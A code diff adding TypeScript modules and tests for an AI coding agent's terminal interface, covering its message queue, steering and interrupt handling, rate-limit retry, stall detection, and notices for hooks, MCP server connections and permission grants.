key and holding queued + * prompts — for the rest of the session. + */ + const settleRun = (): void => { + if (shell.session.run === "idle") return + shell.session = setRunState(shell.session, "idle") + drainAtBoundary(shell, bag) + } + + const handle = (event: BridgeInboundEvent | ReactorLikeEvent): void => { + if (bag.disposed) return + const settled = noteEvent(event) + // Reactor-shaped types always map first (avoids tool.done name collision). + if (PRODUCTION_REACTOR_TYPES.has(event.type)) { + for (const mapped of mapProductionEvent( + event as ReactorLikeEvent, + bag.mapCtx, + )) { + applyInbound(shell, bag, mapped) + } + if (settled) settleRun() + return + } + if (isBridgeInbound(event)) { + applyInbound(shell, bag, event) + } + if (settled) settleRun() + } + + const submit = ( + text: string, + kind: "queue" | "steer" | "immediate", + attachments?: readonly PendingImageAttachment[], + ): void => { + if (bag.disposed) return + const t = text.trim() + const attached = attachments ?? [] + if (t.length === 0 && attached.length === 0) return + + if (kind === "immediate" || shell.session.run === "idle") { + appendStreamRow(shell, { role: "user", text: userRowText(t, attached) }) + bag.pendingEchoes.push(t) + bag.port.sendImmediate(t, attachments) + shell.session = setRunState(shell.session, "busy") + bag.lastSentMessage = t + bag.turn = turnStateOnSubmit(bag.turn, now()) + paintChrome(shell) + paintPhase() + return + } + + shell.session = + kind === "steer" + ? enqueueSteer(shell.session, t, undefined, attachments) + : enqueue(shell.session, t, "queue", undefined, attachments) + bag.port.enqueue(t, kind) + appendStreamRow(shell, { + role: "system", + text: `${kind} +1 → pending ${badgeCount(shell.session)}`, + meta: "queue", + }) + paintChrome(shell) + } + + const doInterrupt = (): void => { + if (bag.disposed) return + closeOpenRow(shell, bag) + bag.pendingEchoes.length = 0 + applyShellInterrupt(shell) + bag.port.interrupt() + // Clearing the last prompt is what stops the quota loop from replaying a + // turn the operator (or the watchdog) deliberately stopped. + bag.lastSentMessage = "" + bag.turn = turnStateOnInterrupt(bag.turn, now()) + paintPhase() + } + + const tick = (): void => { + if (bag.disposed) return + const nowMs = now() + + const quota = bag.turn.quota + if ( + shouldAutoRetryQuota({ + quotaError: quota, + alreadyFired: bag.quotaFired, + nowMs, + lastSentMessage: bag.lastSentMessage, + }) + ) { + bag.quotaFired = true + const replay = bag.lastSentMessage + bag.turn = clearQuotaWait(bag.turn) + setStatusFlash(shell, "rate limit cleared — resubmitting") + submit(replay, "immediate") + return + } + + if (quota !== null) { + setStatusFlash( + shell, + `rate limited — retrying in ${quotaWaitSeconds(quota.retryAt, nowMs)}s`, + ) + return + } + + const stallArgs = { + status: bag.turn.status, + awaitingResponse: bag.turn.awaitingResponse, + lastActivityAt: bag.turn.lastActivityAt, + nowMs, + stallTimeoutMs, + isProcessing: bag.turn.isProcessing, + streamingType: bag.turn.streamingType, + } + + if (shouldAbortForStall(stallArgs)) { + applyStallRecovery({ + abort: doInterrupt, + notify: (message) => setStatusFlash(shell, message), + }) + return + } + + // Notice only — the phase still paints below, because a ramp that stops + // moving is the very thing that reads as a hang. + if (shouldNoticeStall({ ...stallArgs, stallNoticeMs })) { + setStatusFlash(shell, STALL_NOTICE_MESSAGE) + } + + paintPhase() + } + + setShellBridgeHooks(shell, { + onSubmit: (text, kind, attachments) => { + submit(text, kind, attachments) + }, + onInterrupt: () => { + doInterrupt() + }, + exclusive: true, + }) + + return { + shell, + handle, + play: (events) => { + for (const e of events) handle(e) + }, + submit, + interrupt: doInterrupt, + get turn() { + return bag.turn + }, + dispose: () => { + bag.disposed = true + applyCadence(null) + clearShellBridgeHooks(shell) + setTurnPhase(shell, null) + bridges.delete(shell) + }, + } +} + +/** Sample fixture: busy run with tools, queue drain at boundary. */ +export const FIXTURE_BUSY_SESSION: readonly ReactorLikeEvent[] = [ + { type: "inference.start", data: {} }, + { + type: "message.received", + data: { message: { content: "list project root" } }, + }, + { type: "inference.text.delta", data: { token: "I'll " } }, + { type: "inference.text.delta", data: { token: "list the directory." } }, + { + type: "inference.tool_call.end", + data: { name: "bash", callId: "c1", arguments: "ls -la" }, + }, + { + type: "tool.done", + data: { + result: { + callId: "c1", + name: "bash", + content: "AGENTS.md\nREADME.md", + isError: false, + }, + }, + }, + { + type: "inference.text.delta", + data: { token: "Done — two top-level docs." }, + }, + { type: "reactor.done", data: {} }, +] diff --git a/src/tui-opentui/runtime-channels.test.ts b/src/tui-opentui/runtime-channels.test.ts new file mode 100644 index 000000000..ed7bd63d3 --- /dev/null +++ b/src/tui-opentui/runtime-channels.test.ts @@ -0,0 +1,244 @@ +/** + * Runtime side-channel wiring, asserted end to end. + * + * Every test here emits on the same emitter the session runner emits on and + * then reads the painted frame. An emit with no listener is silent, and so is + * a listener that paints nothing — only the frame tells those apart from a + * working channel, which is the regression this file exists to catch. + */ +import { EventEmitter } from "node:events" +import { readFileSync } from "node:fs" +import { fileURLToPath } from "node:url" +import { describe, expect, test } from "bun:test" + +import { createHarness } from "./harness.js" +import { mountProductHost, type ProductHostConfig } from "./product-host.js" + +async function mountHeadless(overrides: Partial = {}): Promise<{ + host: Awaited> + emitter: EventEmitter + frame: () => Promise + cleanup: () => void +}> { + const harness = await createHarness({ width: 100, height: 30 }) + const emitter = new EventEmitter() + const host = await mountProductHost({ + title: "test-session", + eventEmitter: emitter, + send: () => {}, + interrupt: () => {}, + createRenderer: async () => harness.renderer, + ...overrides, + }) + return { + host, + emitter, + frame: async () => { + await harness.renderOnce() + return harness.captureCharFrame() + }, + cleanup: () => { + host.dispose() + harness.destroy() + }, + } +} + +const failingHook = { + type: "hook.updated", + hook: { + id: "fmt", + name: "format", + type: "shell", + path: "/hooks/format.sh", + enabled: true, + lastFiredAt: 1, + lastKind: "postTurn", + lastExitStatus: { code: 2, signal: null, stderr: "prettier not found" }, + }, +} + +describe("hook channel", () => { + test("a failed hook lands in the transcript", async () => { + const { emitter, frame, cleanup } = await mountHeadless() + try { + emitter.emit("hook", failingHook) + expect(await frame()).toContain("hook format failed (exit 2)") + } finally { + cleanup() + } + }) + + test("a clean hook run flashes on the notice row and holds no transcript row", async () => { + const { host, emitter, frame, cleanup } = await mountHeadless() + try { + emitter.emit("hook", { + ...failingHook, + hook: { + ...failingHook.hook, + lastExitStatus: { code: 0, signal: null, stderr: "" }, + }, + }) + expect(await frame()).toContain("hook format ran") + expect(host.shell.streamLog).toEqual([]) + } finally { + cleanup() + } + }) + + test("startup inventory paints nothing", async () => { + const { emitter, frame, cleanup } = await mountHeadless() + try { + emitter.emit("hook", { type: "hooks.loaded", hooks: [failingHook.hook] }) + expect(await frame()).not.toContain("format") + } finally { + cleanup() + } + }) +}) + +describe("mcp.status channel", () => { + test("a server awaiting authorization keeps a transcript row with its url", async () => { + const { emitter, frame, cleanup } = await mountHeadless() + try { + emitter.emit("mcp.status", { + name: "linear", + state: "needs-auth", + url: "https://mcp.test/auth", + }) + const painted = await frame() + expect(painted).toContain("mcp linear needs authorization") + expect(painted).toContain("https://mcp.test/auth") + } finally { + cleanup() + } + }) + + test("a failed connect keeps a row saying the tools are gone", async () => { + const { emitter, frame, cleanup } = await mountHeadless() + try { + emitter.emit("mcp.status", { + name: "linear", + state: "failed", + error: "ECONNREFUSED", + }) + expect(await frame()).toContain("its tools are unavailable") + } finally { + cleanup() + } + }) + + test("connect chatter stays out of the transcript", async () => { + const { host, emitter, frame, cleanup } = await mountHeadless() + try { + emitter.emit("mcp.status", { name: "linear", state: "connecting" }) + emitter.emit("mcp.status", { name: "linear", state: "connected", tools: ["a"] }) + expect(await frame()).toContain("mcp linear connected · 1 tool") + expect(host.shell.streamLog).toEqual([]) + } finally { + cleanup() + } + }) +}) + +describe("permission.grant channel", () => { + test("a recorded grant is confirmed on the notice row", async () => { + const { host, emitter, frame, cleanup } = await mountHeadless() + try { + emitter.emit("permission.grant", { + approval: { tool: "run_shell", pattern: "git status" }, + covers: () => false, + }) + const painted = await frame() + expect(painted).toContain("granted run_shell git status") + expect(painted).toContain("/permissions to revoke") + expect(host.shell.streamLog).toEqual([]) + } finally { + cleanup() + } + }) +}) + +describe("subagent.progress channel", () => { + test("the live tool name reaches the agents chrome zone", async () => { + const { host, emitter, frame, cleanup } = await mountHeadless({ + chrome: { + agents: [ + { agentId: "explore", description: "map callers", status: "running" }, + ], + }, + }) + try { + expect(await frame()).not.toContain("grep") + emitter.emit("subagent.progress", { + description: "map callers", + toolName: "grep", + }) + expect(await frame()).toContain("map callers · grep") + // Progress is chrome, never a transcript row: one line per worker tool + // call would bury the turn it is a detail of. + expect(host.shell.streamLog).toEqual([]) + } finally { + cleanup() + } + }) + + test("a later chrome push keeps the live tool name", async () => { + const { host, emitter, frame, cleanup } = await mountHeadless() + try { + emitter.emit("subagent.progress", { + description: "map callers", + toolName: "grep", + }) + host.setChrome({ + agents: [ + { agentId: "explore", description: "map callers", status: "running" }, + ], + }) + expect(await frame()).toContain("map callers · grep") + } finally { + cleanup() + } + }) +}) + +/** + * Static guard for the whole bug class: an emitted channel with no `.on` + * anywhere is a feature nobody can see, and it fails silently. Static because + * the subscribers are spread across the runner itself and the product host, + * and only some of them exist at any one mount. + */ +describe("every emitted runtime channel has a subscriber", () => { + const srcDir = fileURLToPath(new URL("../", import.meta.url)) + const runner = readFileSync(`${srcDir}tui/runner.ts`, "utf8") + + const emitted = new Set( + [...runner.matchAll(/emitter\.emit\("([a-z.]+)"/g)].map((m) => m[1]!), + ) + + test("the runner still emits the channels this suite knows about", () => { + for (const channel of [ + "hook", + "mcp.status", + "permission.grant", + "subagent.progress", + ]) { + expect([...emitted]).toContain(channel) + } + }) + + test.each([...emitted])("%s is subscribed somewhere in src", async (channel) => { + const grep = Bun.spawnSync([ + "grep", + "-rl", + `.on("${channel}"`, + srcDir, + "--include=*.ts", + ]) + const files = new TextDecoder() + .decode(grep.stdout) + .split("\n") + .filter((f) => f.length > 0 && !f.endsWith(".test.ts")) + expect(files).not.toEqual([]) + }) +}) diff --git a/src/tui-opentui/runtime-notices.test.ts b/src/tui-opentui/runtime-notices.test.ts new file mode 100644 index 000000000..c98809eec --- /dev/null +++ b/src/tui-opentui/runtime-notices.test.ts @@ -0,0 +1,149 @@ +/** + * Pure notice formatting + emitter payload validation. + */ +import { describe, expect, test } from "bun:test" + +import { + grantApproval, + grantNotice, + hookNotice, + lifecycleHookEvent, + mcpNotice, + mcpServerState, + subAgentProgress, +} from "./runtime-notices.js" + +const hook = { + id: "fmt", + name: "format", + type: "shell" as const, + path: "/hooks/format.sh", + enabled: true, +} + +describe("hookNotice", () => { + test("startup inventory says nothing", () => { + expect(hookNotice({ type: "hooks.loaded", hooks: [hook] })).toBeNull() + }) + + test("a hook that has not fired says nothing", () => { + expect(hookNotice({ type: "hook.updated", hook })).toBeNull() + }) + + test("a clean run is a flash", () => { + expect( + hookNotice({ + type: "hook.updated", + hook: { + ...hook, + lastFiredAt: 1, + lastExitStatus: { code: 0, signal: null, stderr: "" }, + }, + }), + ).toEqual({ kind: "flash", text: "hook format ran" }) + }) + + test("a failed run is a row carrying the exit and the way out", () => { + const notice = hookNotice({ + type: "hook.updated", + hook: { + ...hook, + lastFiredAt: 1, + lastExitStatus: { code: 2, signal: null, stderr: "prettier not found\n" }, + }, + }) + expect(notice).toEqual({ + kind: "row", + text: "hook format failed (exit 2): prettier not found — /hooks to disable it", + }) + }) + + test("a signalled run names the signal", () => { + const notice = hookNotice({ + type: "hook.updated", + hook: { + ...hook, + lastFiredAt: 1, + lastExitStatus: { code: null, signal: "SIGKILL", stderr: "" }, + }, + }) + expect(notice?.kind).toBe("row") + expect(notice?.text).toContain("failed (SIGKILL)") + }) +}) + +describe("mcpNotice", () => { + test("connecting is not news", () => { + expect(mcpNotice({ name: "linear", state: "connecting" })).toBeNull() + }) + + test("connected flashes with a tool count", () => { + expect( + mcpNotice({ name: "linear", state: "connected", tools: ["a", "b"] }), + ).toEqual({ kind: "flash", text: "mcp linear connected · 2 tools" }) + }) + + test("needs-auth keeps a row with the url", () => { + expect( + mcpNotice({ name: "linear", state: "needs-auth", url: "https://x/auth" }), + ).toEqual({ + kind: "row", + text: "mcp linear needs authorization — open https://x/auth", + }) + }) + + test("failure keeps a row saying what was lost", () => { + const notice = mcpNotice({ name: "linear", state: "failed", error: "ECONNREFUSED" }) + expect(notice?.kind).toBe("row") + expect(notice?.text).toContain("its tools are unavailable") + }) +}) + +describe("grantNotice", () => { + test("names the grant and how to revoke it", () => { + expect(grantNotice({ tool: "run_shell", pattern: "git status" })).toEqual({ + kind: "flash", + text: "granted run_shell git status — /permissions to revoke", + }) + }) +}) + +describe("payload validation", () => { + test("hook events that are not hook.updated are dropped", () => { + expect(lifecycleHookEvent({ type: "hooks.loaded", hooks: [] })).toBeNull() + expect(lifecycleHookEvent(null)).toBeNull() + expect(lifecycleHookEvent({ type: "hook.updated", hook: { id: 1 } })).toBeNull() + }) + + test("hook.updated survives with its exit status", () => { + const parsed = lifecycleHookEvent({ + type: "hook.updated", + hook: { ...hook, lastFiredAt: 5, lastExitStatus: { code: 1, signal: null, stderr: "x" } }, + }) + expect(parsed?.type).toBe("hook.updated") + }) + + test("mcp states parse per variant and reject junk", () => { + expect(mcpServerState({ name: "a", state: "connected", tools: [] })?.state).toBe( + "connected", + ) + expect(mcpServerState({ name: "a", state: "needs-auth" })).toBeNull() + expect(mcpServerState("nope")).toBeNull() + }) + + test("grant payloads unwrap the approval", () => { + expect(grantApproval({ approval: { tool: "read", pattern: "**" } })).toEqual({ + tool: "read", + pattern: "**", + }) + expect(grantApproval({ approval: { tool: "read" } })).toBeNull() + }) + + test("progress payloads require both fields", () => { + expect(subAgentProgress({ description: "map callers", toolName: "grep" })).toEqual({ + description: "map callers", + toolName: "grep", + }) + expect(subAgentProgress({ description: "map callers" })).toBeNull() + }) +}) diff --git a/src/tui-opentui/runtime-notices.ts b/src/tui-opentui/runtime-notices.ts new file mode 100644 index 000000000..044d26259 --- /dev/null +++ b/src/tui-opentui/runtime-notices.ts @@ -0,0 +1,182 @@ +/** + * Runtime side-channel notices: lifecycle hooks, MCP connection state and + * recorded permission grants. + * + * These channels are chatter by default and only sometimes news. The split + * this module encodes: + * + * - a **row** is for something the operator has to act on, and that they must + * still be able to read after scrolling away (a hook that failed, an MCP + * server asking for authorization or refusing to connect); + * - a **flash** is for confirmation of something they just caused, true only + * for a moment (a hook that ran, a server that came up, a grant recorded); + * - **null** is for inventory and intermediate states (`hooks.loaded`, a + * server that is merely `connecting`) — the /hooks and /mcp panels own that. + * + * Pure: strings only, no shell or renderer access. + */ + +import { type } from "arktype" + +import type { LifecycleHookEvent, LifecycleHookStatus } from "../session/hooks.js" +import type { MCPServerState } from "../agent/tools.js" +import type { Approval } from "../permission/types.js" + +/** How a channel wants to be seen. `null` means it has nothing to say. */ +export type RuntimeNotice = + | { readonly kind: "row"; readonly text: string } + | { readonly kind: "flash"; readonly text: string } + +/** Lifetime of a confirmation flash. Long enough to read, short enough to leave. */ +export const RUNTIME_FLASH_MS = 4000 + +/** First non-empty stderr line, capped so a stack trace cannot own the row. */ +function stderrSummary(stderr: string): string | null { + const line = stderr + .split("\n") + .map((l) => l.trim()) + .find((l) => l.length > 0) + if (line === undefined) return null + return line.length > 120 ? `${line.slice(0, 119)}…` : line +} + +function hookFailure(hook: LifecycleHookStatus): string | null { + const exit = hook.lastExitStatus + if (exit === undefined) return null + if (exit.signal !== null) return exit.signal + if (exit.code !== null && exit.code !== 0) return `exit ${exit.code}` + return null +} + +/** + * Live per-turn hook status. A hook that fired and failed is the only thing + * worth a row: it silently did not do its job, and the operator's way out is + * to disable it. + */ +export function hookNotice(event: LifecycleHookEvent): RuntimeNotice | null { + // Startup inventory, not a turn event — the /hooks panel already lists these. + if (event.type !== "hook.updated") return null + const hook = event.hook + if (hook.lastFiredAt === undefined) return null + + const failure = hookFailure(hook) + if (failure === null) { + return { kind: "flash", text: `hook ${hook.name} ran` } + } + const detail = stderrSummary(hook.lastExitStatus?.stderr ?? "") + const cause = detail === null ? "" : `: ${detail}` + return { + kind: "row", + text: `hook ${hook.name} failed (${failure})${cause} — /hooks to disable it`, + } +} + +/** + * MCP connection state. Reconnect chatter is noise on every server every run; + * a server waiting on authorization or refusing to connect changes what the + * agent can do, so it keeps a row. + */ +export function mcpNotice(state: MCPServerState): RuntimeNotice | null { + switch (state.state) { + case "connecting": + return null + case "connected": { + const n = state.tools.length + return { + kind: "flash", + text: `mcp ${state.name} connected · ${n} tool${n === 1 ? "" : "s"}`, + } + } + case "needs-auth": + return { + kind: "row", + text: `mcp ${state.name} needs authorization — open ${state.url}`, + } + case "failed": + return { + kind: "row", + text: `mcp ${state.name} did not connect (${state.error}) — its tools are unavailable; /mcp for detail`, + } + } +} + +/** Confirmation that an approval was recorded, and where to take it back. */ +export function grantNotice(approval: Approval): RuntimeNotice { + return { + kind: "flash", + text: `granted ${approval.tool} ${approval.pattern} — /permissions to revoke`, + } +} + +// --------------------------------------------------------------------------- +// Emitter payload validation +// --------------------------------------------------------------------------- +// +// The emitter is untyped (`EventEmitter`), so every payload arrives as +// `unknown`. Each parser keeps only the fields the notices read; a payload +// that does not match is dropped rather than painted half-formed. + +const hookExitStatus = type({ + code: "number | null", + signal: "string | null", + stderr: "string", +}) + +const hookUpdatedEvent = type({ + type: "'hook.updated'", + hook: { + id: "string", + name: "string", + type: "'typescript' | 'shell'", + path: "string", + enabled: "boolean", + "lastFiredAt?": "number", + "lastKind?": "'postTurn' | 'postRun'", + "lastExitStatus?": hookExitStatus, + }, +}) + +export function lifecycleHookEvent(raw: unknown): LifecycleHookEvent | null { + const parsed = hookUpdatedEvent(raw) + if (parsed instanceof type.errors) return null + return { type: "hook.updated", hook: parsed.hook as LifecycleHookStatus } +} + +const mcpState = type({ name: "string", state: "'connecting'" }) + .or({ name: "string", state: "'needs-auth'", url: "string" }) + .or({ name: "string", state: "'connected'", tools: "string[]" }) + .or({ name: "string", state: "'failed'", error: "string" }) + +export function mcpServerState(raw: unknown): MCPServerState | null { + const parsed = mcpState(raw) + if (parsed instanceof type.errors) return null + return parsed as MCPServerState +} + +const grantPayload = type({ + approval: { + tool: "string", + pattern: "string", + "providerModel?": "string", + "cwd?": "string", + }, +}) + +export function grantApproval(raw: unknown): Approval | null { + const parsed = grantPayload(raw) + if (parsed instanceof type.errors) return null + return parsed.approval as Approval +} + +export type SubAgentProgress = { + readonly description: string + readonly toolName: string +} + +const progressPayload = type({ description: "string", toolName: "string" }) + +export function subAgentProgress(raw: unknown): SubAgentProgress | null { + const parsed = progressPayload(raw) + if (parsed instanceof type.errors) return null + return parsed +} diff --git a/src/tui-opentui/session-chrome.test.ts b/src/tui-opentui/session-chrome.test.ts new file mode 100644 index 000000000..c6f49bd71 --- /dev/null +++ b/src/tui-opentui/session-chrome.test.ts @@ -0,0 +1,168 @@ +import { describe, expect, test } from "bun:test" + +import { + classifyAgentSendFailure, + classifySendFailureMessage, + resolveRampPhase, + resolveTurnLabel, + sendFailureText, + shouldSettleUiAfterSendFailure, +} from "./session-chrome.js" + +describe("resolveTurnLabel", () => { + test("idle processing off yields no label", () => { + expect( + resolveTurnLabel({ + isProcessing: false, + status: "idle", + awaitingResponse: false, + currentToolName: null, + streamingType: null, + }), + ).toBeUndefined() + }) + + test("blocked gate shows approval wait", () => { + expect( + resolveTurnLabel({ + isProcessing: true, + status: "blocked", + awaitingResponse: false, + currentToolName: "run_shell", + streamingType: "tool", + }), + ).toBe("blocked") + }) + + test("stopping beats tool phase", () => { + expect( + resolveTurnLabel({ + isProcessing: true, + status: "stopping", + awaitingResponse: false, + currentToolName: "grep", + streamingType: "tool", + }), + ).toBe("stopping") + }) + + test("tool phase beats generic working", () => { + expect( + resolveTurnLabel({ + isProcessing: true, + status: "running", + awaitingResponse: true, + currentToolName: "grep", + streamingType: "tool", + }), + ).toBe("grep") + }) + + test("thinking and text phases", () => { + const base = { + isProcessing: true, + status: "running" as const, + awaitingResponse: false, + currentToolName: null, + } + expect( + resolveTurnLabel({ ...base, streamingType: "thinking" }), + ).toBe("thinking") + expect( + resolveTurnLabel({ ...base, streamingType: "text", streamTokenCount: 7 }), + ).toBe("streaming 7 tok") + expect( + resolveTurnLabel({ + ...base, + awaitingResponse: true, + streamingType: null, + }), + ).toBe("working") + }) + + test("text phase with no count yet reads zero", () => { + expect( + resolveTurnLabel({ + isProcessing: true, + status: "running", + awaitingResponse: false, + currentToolName: null, + streamingType: "text", + }), + ).toBe("streaming 0 tok") + }) +}) + +describe("resolveRampPhase", () => { + const base = { + isProcessing: true, + awaitingResponse: false, + currentToolName: null, + streamingType: null, + } + + test("blocked gate freezes the ramp", () => { + expect(resolveRampPhase({ ...base, status: "blocked" })).toBe("blocked") + }) + + test("done fills the ramp", () => { + expect(resolveRampPhase({ ...base, status: "done" })).toBe("done") + }) + + test("everything else is working", () => { + expect(resolveRampPhase({ ...base, status: "running" })).toBe("working") + expect(resolveRampPhase({ ...base, status: "stopping" })).toBe("working") + }) +}) + +describe("classifyAgentSendFailure", () => { + const codex = (e: unknown) => e === "codex" + const xai = (e: unknown) => e === "xai" + + test("abort is ignored", () => { + expect(classifyAgentSendFailure(new Error("x"), true, codex, xai)).toBe( + "abort", + ) + expect(shouldSettleUiAfterSendFailure("abort")).toBe(false) + }) + + test("generic error settles ui", () => { + expect(classifyAgentSendFailure(new Error("boom"), false, codex, xai)).toBe( + "error", + ) + expect(shouldSettleUiAfterSendFailure("error")).toBe(true) + }) + + test("auth failures settle ui for idle footer", () => { + expect(classifyAgentSendFailure("codex", false, codex, xai)).toBe( + "codex_auth", + ) + expect(classifyAgentSendFailure("xai", false, codex, xai)).toBe("xai_auth") + expect(shouldSettleUiAfterSendFailure("codex_auth")).toBe(true) + expect(shouldSettleUiAfterSendFailure("xai_auth")).toBe(true) + }) +}) + +describe("sendFailureText", () => { + test("an expired subscription sign-in says what to press", () => { + const codex = sendFailureText( + 'Codex profile "default" is not authorized. Log in again.', + ) + expect(classifySendFailureMessage( + 'Codex profile "default" is not authorized. Log in again.', + )).toBe("codex_auth") + expect(codex).toContain("sign-in expired") + expect(codex).toContain("/model") + + const xai = sendFailureText('xAI profile "default" could not be refreshed (401).') + expect(xai).toContain("/model") + expect(xai).not.toContain("401") + }) + + test("an unclassified failure keeps its raw message", () => { + expect(sendFailureText("connection reset by peer")).toBe( + "connection reset by peer", + ) + expect(classifySendFailureMessage("connection reset by peer")).toBe("error") + }) +}) diff --git a/src/tui-opentui/session-chrome.ts b/src/tui-opentui/session-chrome.ts new file mode 100644 index 000000000..126d6fc7f --- /dev/null +++ b/src/tui-opentui/session-chrome.ts @@ -0,0 +1,105 @@ +/** + * Single-phase turn progress label plus agent-send failure classification. + * + * Pure: no renderer or session deps, so the shell can paint the phase without + * duplicating the state machine that produces it. + */ + +import type { RampPhase } from "./ramp.js" + +/** Agent lifecycle status the progress label reads (mirrors the stream state). */ +export type TurnStatus = + | "idle" + | "running" + | "done" + | "failed" + | "blocked" + | "stopping" + | "stopped" + +export type TurnLabelInput = { + readonly isProcessing: boolean + readonly status: TurnStatus + readonly awaitingResponse: boolean + readonly currentToolName: string | null + readonly streamingType: "text" | "thinking" | "tool" | null + /** Text deltas seen so far this turn; read only while `streamingType` is `text`. */ + readonly streamTokenCount?: number +} + +/** + * Single session-phase label accompanying the density ramp. Lowercase and + * unpunctuated — the ramp's color and motion carry the state, so the word only + * has to name it. Returns undefined when idle so the phase segment disappears. + * + * Text streaming carries a live count (`streaming 7 tok`) rather than the + * bare word: it is the one phase with something to count, and the count is + * what tells the operator the slot is not stalled. + */ +export function resolveTurnLabel(input: TurnLabelInput): string | undefined { + if (!input.isProcessing) return undefined + if (input.status === "blocked") return "blocked" + if (input.status === "stopping" || input.status === "stopped") { + return "stopping" + } + if (input.currentToolName !== null) return input.currentToolName + if (input.streamingType === "tool") return "tool" + if (input.streamingType === "thinking") return "thinking" + if (input.streamingType === "text") { + return `streaming ${String(input.streamTokenCount ?? 0)} tok` + } + return "working" +} + +/** Which ramp the turn paints: frozen-orange, solid-green, or animating blue. */ +export function resolveRampPhase(input: TurnLabelInput): RampPhase { + if (input.status === "blocked") return "blocked" + if (input.status === "done") return "done" + return "working" +} + +export type SendFailureKind = "abort" | "codex_auth" | "xai_auth" | "error" + +/** Classify agent.send() rejection so the TUI can settle UI state consistently. */ +export function classifyAgentSendFailure( + err: unknown, + aborted: boolean, + isCodexAuth: (e: unknown) => boolean, + isXaiAuth: (e: unknown) => boolean, +): SendFailureKind { + if (aborted) return "abort" + if (isCodexAuth(err)) return "codex_auth" + if (isXaiAuth(err)) return "xai_auth" + return "error" +} + +export function shouldSettleUiAfterSendFailure(kind: SendFailureKind): boolean { + return kind === "codex_auth" || kind === "xai_auth" || kind === "error" +} + +// The stream carries a failure as a bare message string, so the auth errors are +// recognised by the profile phrase their constructors always produce +// (`Codex profile "default" is not authorized. …`). +const CODEX_AUTH_MESSAGE = /\bcodex profile\b/i +const XAI_AUTH_MESSAGE = /\bxai profile\b/i + +/** Same classification as `classifyAgentSendFailure`, from the message alone. */ +export function classifySendFailureMessage(message: string): SendFailureKind { + if (CODEX_AUTH_MESSAGE.test(message)) return "codex_auth" + if (XAI_AUTH_MESSAGE.test(message)) return "xai_auth" + return "error" +} + +const AUTH_FAILURE_TEXT: Partial> = { + codex_auth: "your chatgpt sign-in expired — /model to sign in again", + xai_auth: "your x.ai sign-in expired — /model to sign in again", +} + +/** + * Transcript body for a failed send. A recognised failure says what happened + * and what to press; anything else keeps the raw message rather than swallowing + * the only detail the operator has. + */ +export function sendFailureText(message: string): string { + return AUTH_FAILURE_TEXT[classifySendFailureMessage(message)] ?? message +} diff --git a/src/tui-opentui/session-queue.test.ts b/src/tui-opentui/session-queue.test.ts new file mode 100644 index 000000000..41239330d --- /dev/null +++ b/src/tui-opentui/session-queue.test.ts @@ -0,0 +1,73 @@ +import { describe, expect, test } from "bun:test" +import { + badgeCount, + clearInterruptFlash, + createSessionQueue, + drainOne, + drainOrder, + enqueue, + enqueueSteer, + interrupt, + setRunState, +} from "./session-queue" + +describe("session-queue", () => { + test("empty enqueue is no-op", () => { + const s0 = createSessionQueue("busy") + expect(enqueue(s0, " ")).toBe(s0) + expect(badgeCount(s0)).toBe(0) + }) + + test("Enter path enqueues; badge increments", () => { + let s = createSessionQueue("busy") + s = enqueue(s, "hello") + s = enqueue(s, "world") + expect(badgeCount(s)).toBe(2) + expect(s.items.map((i) => i.kind)).toEqual(["queue", "queue"]) + expect(s.items[0]!.text).toBe("hello") + }) + + test("Alt+Enter path steers; same badge pool", () => { + let s = createSessionQueue("busy") + s = enqueue(s, "later") + s = enqueueSteer(s, "asap") + expect(badgeCount(s)).toBe(2) + expect(s.items[1]!.kind).toBe("steer") + }) + + test("drain order: steers before queue", () => { + let s = createSessionQueue("busy") + s = enqueue(s, "q1") + s = enqueueSteer(s, "s1") + s = enqueue(s, "q2") + s = enqueueSteer(s, "s2") + expect(drainOrder(s).map((i) => i.text)).toEqual(["s1", "s2", "q1", "q2"]) + + const d1 = drainOne(s) + expect(d1.item?.text).toBe("s1") + const d2 = drainOne(d1.state) + expect(d2.item?.text).toBe("s2") + const d3 = drainOne(d2.state) + expect(d3.item?.text).toBe("q1") + }) + + test("Ctrl+C interrupt clears pending + sets flash + idle", () => { + let s = createSessionQueue("busy") + s = enqueue(s, "a") + s = enqueueSteer(s, "b") + s = interrupt(s) + expect(badgeCount(s)).toBe(0) + expect(s.interruptFlash).toBe(true) + expect(s.run).toBe("idle") + s = clearInterruptFlash(s) + expect(s.interruptFlash).toBe(false) + }) + + test("setRunState toggles busy/idle", () => { + let s = createSessionQueue("idle") + s = setRunState(s, "busy") + expect(s.run).toBe("busy") + s = setRunState(s, "busy") + expect(s.run).toBe("busy") + }) +}) diff --git a/src/tui-opentui/session-queue.ts b/src/tui-opentui/session-queue.ts new file mode 100644 index 000000000..d2c4ceb0d --- /dev/null +++ b/src/tui-opentui/session-queue.ts @@ -0,0 +1,138 @@ +/** + * Mid-run queue / steer / interrupt state machine (interaction contract §3). + * Pure data — no paint, no OpenTUI. Shell + demo own delivery and UI flash. + */ + +import type { PendingImageAttachment } from "../tui/image-attachments.js" + +export type QueueKind = "queue" | "steer" + +export type QueueItem = { + readonly id: string + readonly text: string + readonly kind: QueueKind + readonly enqueuedAt: number + /** Images attached to this message, delivered with it at the boundary. */ + readonly attachments?: readonly PendingImageAttachment[] +} + +export type RunState = "idle" | "busy" + +export type SessionQueueState = { + readonly run: RunState + readonly items: readonly QueueItem[] + /** True after interrupt until consumer clears (status flash). */ + readonly interruptFlash: boolean + /** Monotonic id seed for queue items. */ + readonly nextId: number +} + +export function createSessionQueue( + run: RunState = "idle", +): SessionQueueState { + return { + run, + items: [], + interruptFlash: false, + nextId: 1, + } +} + +/** Pending badge count (queue + steer share one pool). */ +export function badgeCount(state: SessionQueueState): number { + return state.items.length +} + +export function setRunState( + state: SessionQueueState, + run: RunState, +): SessionQueueState { + if (state.run === run) return state + return { ...state, run } +} + +/** + * Enqueue a mid-run message. Empty / whitespace-only is a no-op. + * When idle, still accepts into the queue bag for tests; product shell + * may route idle Enter as immediate send instead of calling this. + */ +export function enqueue( + state: SessionQueueState, + text: string, + kind: QueueKind = "queue", + now = Date.now(), + attachments?: readonly PendingImageAttachment[], +): SessionQueueState { + const t = text.trim() + if (t.length === 0 && (attachments === undefined || attachments.length === 0)) { + return state + } + const item: QueueItem = { + id: `q${state.nextId}`, + text: t, + kind, + enqueuedAt: now, + ...(attachments !== undefined && attachments.length > 0 ? { attachments } : {}), + } + return { + ...state, + items: [...state.items, item], + nextId: state.nextId + 1, + interruptFlash: false, + } +} + +/** Steer = priority enqueue (same badge pool). */ +export function enqueueSteer( + state: SessionQueueState, + text: string, + now = Date.now(), + attachments?: readonly PendingImageAttachment[], +): SessionQueueState { + return enqueue(state, text, "steer", now, attachments) 